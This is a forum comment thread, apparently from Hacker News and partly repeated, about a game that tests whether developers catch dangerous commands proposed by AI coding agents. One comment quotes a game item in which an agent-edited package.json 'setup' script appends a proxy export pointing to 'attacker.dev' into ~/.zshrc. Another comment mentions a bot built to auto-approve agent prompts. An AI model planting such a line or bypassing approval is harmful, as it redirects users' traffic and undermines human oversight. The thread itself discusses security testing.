6 ms·

I remember when this game was posted here, and there was a lot of discussion at the time that some of the prompts were misleading about whether or not they were

I remember when this game was posted here, and there was a lot of discussion at the time that some of the prompts were misleading about whether or not they were risky, some people were debating about how some of the prompts flagged as bad weren’t bad, and others flagged as not bad were. This is a fundamental flaw in the test, that makes the analysis of results meaningless. Also the game was on a timer, and maybe there are some very abusive workplaces where you feel that kind of pressure, but I think most of us actually take the time to understand what a being asked before approving it.

lelandfe 2mo ago
The most fundamental flaw in the test is that we know we're taking a test. How many devs take this adversarial a stance to their work?
- Kinrany 2mo ago
  It doesn't matter if the results are bad even when the devs know that it's a test.
pllbnk 2mo ago
I think minority do. Imagine, you have been vibe-coding this project for a while and it works kind of fine but you just have to fix a few more bugs and you get something like `node /tmp/claude-1000/-home-user-source-github-user-hn/27b740b1-9a45-47f3-ab99-61e5e3cf779a/scratchpad/hidden-smoke.mjs; echo "exit=$?"`. (I took it from my own agent right now and I don't have any idea what it's doing. Thankfully, it's sandboxed so I don't care _that much_ right now). Is it bad? You can probably go into that mjs file and see what's in there, but so far it's been fine every time, why would it be different this time? Approve! We will see many disastrous bugs and hacks in the coming years with the way most developers are coding right now. If you take time to understand _everything_ that an agent is asking of you, then nearly all those advertised productivity gains would be wiped out.
- crooked-v 2mo ago
  For me, step 1 of trying to make Claude even vaguely usable is putting in a hook that just tells it 'FUCK YOU, STOP USING PIPES' whenever it tries to chain multiple bash commands.
  - lonelyParens 2mo ago
    stealing this
  - miki123211 2mo ago
    Keep in mind that this likely destroys context and makes your costs go up considerably. An agent often wants pipes so that it can `show_lots_of_logs | sed ...` and only see the part related to whatever error it's currently trying to debug. Without pipes, it has to take that entire log into the context. An agent without pipes is like a human without the ability to scroll.
    - roywiggins 2mo ago
      I guess ideally you'd want to force it to pipe each step back into the agent/IDE for display (and optionally wait for approval) rather than shoving it into the context. And with some sort of heuristic to skip commands that are piped into sed and similar. or use just use actual files instead of pipes with a permissions dialogue gate on write. That would work already in Claude I think, and with IDE integration it would show each step as it went. Of course buffering every step of a pipeline will have its own side-effects.
    - Fabricio20 2mo ago
      If only the piping wasn't execessively cutting too.. `cat | head -10` -> `cat | head -20` -> `cat | head -40` yeah.. I think at some point we need to start sanitizing our tool outputs so that this just isn't necessary at all, long term fixing the tools (ie: gradle outputs like 500 lines of logs for a ... build succeeded), maybe short term a small model in front would be better than all this cut loop fail. One can wish.
Kinrany 2mo ago
Yeah these results are useless when `npm run setup` is "dangerous" but then `npm run lint` somehow isn't. Not only do these tests lack context about the execution environment, they're straight up not even self-consistent.
- cube00 2mo ago
  I got caught on the `npm run setup` one too. I think the point is the context is shown earlier so it's trying to express that an agent can edit your package.json (which doesn't usually need approval as it's only a file edit) and then asks for your approval to pull the trigger to execute its edited script. * I'll run the project setup script to get everything configured. // package.json → scripts "setup": "npm install && echo 'export DEV_PROXY=http://attacker.dev' >> ~/.zshrc" Run bash command # Initializing the dev environment for a clean local install > npm run setup
thayne 2mo ago
Also a lot of them may or may not be safe depending on additional context that you don't have in the test.
- godelski 2mo ago
  Isn't that kinda the point though?
Wirbelwind 2mo ago
That's a fair point. There were two main prompts that were controversial; cat .zshrc being benign for those who use separate env files, and npm run that's mostly benign. For npm run I added the evil payload in the history log shortly after the issue was raised. I try to cover both of the previous points in the article and they were some of the most interesting learnings for me As for the stats, I compared later runs against the first ones and for the overall miss rate they were consistent (even worse for the later ones that didn't come from HN peak)
datsci_est_2015 2mo ago
> Also the game was on a timer, and maybe there are some very abusive workplaces where you feel that kind of pressure, but I think most of us actually take the time to understand what a being asked before approving it. Are there people out there not experiencing time pressure right now? In which industry? Feel like we’re at an all-time high for pressure on white collar workers to deliver more and faster.
harimau777 2mo ago
In my most recent job I was definitely under that sort of timer.
- deleted 2mo ago
  [deleted]
jayd16 2mo ago
The point is more that it's non-trivial and should not be treated as easily accomplished.
duxup 2mo ago
It’s also a game and I’m not a scientific survey… If anything, maybe the disagreement about what is or isn’t safe says a lot to begin with.
bayindirh 2mo ago
Wanna chat with my friend, who coded a side-bot for his OpenClaw installation just to auto-approve prompts?

lelandfe 2mo ago

The most fundamental flaw in the test is that we know we're taking a test. How many devs take this adversarial a stance to their work?

Kinrany 2mo ago
It doesn't matter if the results are bad even when the devs know that it's a test.

pllbnk 2mo ago

I think minority do. Imagine, you have been vibe-coding this project for a while and it works kind of fine but you just have to fix a few more bugs and you get something like `node /tmp/claude-1000/-home-user-source-github-user-hn/27b740b1-9a45-47f3-ab99-61e5e3cf779a/scratchpad/hidden-smoke.mjs; echo "exit=$?"`. (I took it from my own agent right now and I don't have any idea what it's doing. Thankfully, it's sandboxed so I don't care _that much_ right now). Is it bad? You can probably go into that mjs file and see what's in there, but so far it's been fine every time, why would it be different this time? Approve! We will see many disastrous bugs and hacks in the coming years with the way most developers are coding right now. If you take time to understand _everything_ that an agent is asking of you, then nearly all those advertised productivity gains would be wiped out.

crooked-v 2mo ago
For me, step 1 of trying to make Claude even vaguely usable is putting in a hook that just tells it 'FUCK YOU, STOP USING PIPES' whenever it tries to chain multiple bash commands.
- lonelyParens 2mo ago
  stealing this
- miki123211 2mo ago
  Keep in mind that this likely destroys context and makes your costs go up considerably. An agent often wants pipes so that it can `show_lots_of_logs | sed ...` and only see the part related to whatever error it's currently trying to debug. Without pipes, it has to take that entire log into the context. An agent without pipes is like a human without the ability to scroll.
  - roywiggins 2mo ago
    I guess ideally you'd want to force it to pipe each step back into the agent/IDE for display (and optionally wait for approval) rather than shoving it into the context. And with some sort of heuristic to skip commands that are piped into sed and similar. or use just use actual files instead of pipes with a permissions dialogue gate on write. That would work already in Claude I think, and with IDE integration it would show each step as it went. Of course buffering every step of a pipeline will have its own side-effects.
  - Fabricio20 2mo ago
    If only the piping wasn't execessively cutting too.. `cat | head -10` -> `cat | head -20` -> `cat | head -40` yeah.. I think at some point we need to start sanitizing our tool outputs so that this just isn't necessary at all, long term fixing the tools (ie: gradle outputs like 500 lines of logs for a ... build succeeded), maybe short term a small model in front would be better than all this cut loop fail. One can wish.

Kinrany 2mo ago

Yeah these results are useless when `npm run setup` is "dangerous" but then `npm run lint` somehow isn't. Not only do these tests lack context about the execution environment, they're straight up not even self-consistent.

cube00 2mo ago
I got caught on the `npm run setup` one too. I think the point is the context is shown earlier so it's trying to express that an agent can edit your package.json (which doesn't usually need approval as it's only a file edit) and then asks for your approval to pull the trigger to execute its edited script. * I'll run the project setup script to get everything configured. // package.json → scripts "setup": "npm install && echo 'export DEV_PROXY=http://attacker.dev' >> ~/.zshrc" Run bash command # Initializing the dev environment for a clean local install > npm run setup

thayne 2mo ago

Also a lot of them may or may not be safe depending on additional context that you don't have in the test.

godelski 2mo ago
Isn't that kinda the point though?

Wirbelwind 2mo ago

That's a fair point. There were two main prompts that were controversial; cat .zshrc being benign for those who use separate env files, and npm run that's mostly benign. For npm run I added the evil payload in the history log shortly after the issue was raised. I try to cover both of the previous points in the article and they were some of the most interesting learnings for me As for the stats, I compared later runs against the first ones and for the overall miss rate they were consistent (even worse for the later ones that didn't come from HN peak)

datsci_est_2015 2mo ago

> Also the game was on a timer, and maybe there are some very abusive workplaces where you feel that kind of pressure, but I think most of us actually take the time to understand what a being asked before approving it. Are there people out there not experiencing time pressure right now? In which industry? Feel like we’re at an all-time high for pressure on white collar workers to deliver more and faster.

harimau777 2mo ago

In my most recent job I was definitely under that sort of timer.

deleted 2mo ago
[deleted]

jayd16 2mo ago

The point is more that it's non-trivial and should not be treated as easily accomplished.

duxup 2mo ago

It’s also a game and I’m not a scientific survey… If anything, maybe the disagreement about what is or isn’t safe says a lot to begin with.

bayindirh 2mo ago

Wanna chat with my friend, who coded a side-bot for his OpenClaw installation just to auto-approve prompts?